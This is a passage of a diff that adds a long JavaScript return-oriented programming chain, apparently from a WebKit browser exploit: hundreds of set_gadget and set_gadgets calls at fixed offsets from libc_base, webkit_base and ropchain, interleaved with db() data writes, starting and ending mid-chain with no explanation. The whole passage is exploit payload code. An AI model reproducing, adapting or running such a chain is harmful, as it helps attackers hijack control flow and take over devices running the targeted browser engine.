+set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+555008, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+555064, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([360, 0]); +set_gadget(libc_base+772328,); +db([360, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+555216, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+555272, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+555344, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+555400, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+555504, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964072, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+555592, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+555608, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+555752, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+555720, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+555736, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+555848, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+555936, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+555952, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+556096, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+556064, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+556080, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+556168, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+556224, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([4056, 0]); +set_gadget(libc_base+772328,); +db([4056, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+556376, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+556432, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+556504, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+556560, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+556664, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964080, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+556752, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+556768, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+556912, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+556880, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+556896, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+557008, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+557096, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+557112, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+557256, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+557224, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+557240, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+557328, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+557384, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([4064, 0]); +set_gadget(libc_base+772328,); +db([4064, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+557536, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+557592, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+557664, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+557720, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+557824, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964064, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+557912, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+557928, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+558072, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+558040, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+558056, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+558168, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+558256, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+558272, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+558416, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+558384, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+558400, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+558488, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+558544, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([4072, 0]); +set_gadget(libc_base+772328,); +db([4072, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+558696, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+558752, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+558824, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+558880, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+558984, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967268, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+559072, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+559088, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+559248, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+559280, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+559232, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+559264, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+559360, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+559376, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+559472, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+559456, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+559568, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+559656, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+559672, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+559816, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+559784, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+559800, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+559888, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+559944, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([4084, 0]); +set_gadget(libc_base+772328,); +db([4084, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+560096, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+560152, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+560224, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+560280, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+560384, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964128, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+560472, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+560488, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+560648, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+560680, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+560632, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+560664, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+560760, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+560776, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+560872, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+560856, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+560968, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+561056, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+561072, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+561216, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+561184, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+561200, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+561288, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+561344, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([4088, 0]); +set_gadget(libc_base+772328,); +db([4088, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+561496, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+561552, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+561624, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+561680, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+561784, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964100, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+561872, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+561888, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+562048, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+562080, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+562032, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+562064, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+562160, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+562176, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+562272, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+562256, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+562368, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+562456, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+562472, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+562616, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+562584, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+562600, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+562688, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+562744, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([4092, 0]); +set_gadget(libc_base+772328,); +db([4092, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+562896, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+562952, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+563024, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+563080, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+563184, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964000, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+563272, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+563288, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+563432, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+563400, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+563416, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+563504, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+563560, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+563712, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+563768, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+563896, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+563928, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+563912, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+229136, +libc_base+713278, +ropchain+564088, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+564040, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+564056, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([24, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+713278, +ropchain+564144, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadgets([ +libc_base+288783, +libc_base+713278, +ropchain+564256, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+564288, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+564272, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+564448, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+564400, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+564416, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([24, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+713278, +ropchain+564504, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadgets([ +libc_base+288783, +libc_base+713278, +ropchain+564616, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+564648, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+564632, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+564808, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+564760, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+564776, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([24, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+713278, +ropchain+564864, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadgets([ +libc_base+288783, +libc_base+713278, +ropchain+564976, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+565008, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+564992, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+565104, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+565088, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+604328, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+565256, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+161664, +libc_base+863109, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278 +]); +db([4294964080, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+565408, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+565424, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+565568, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+565536, +webkit_base+4687784, 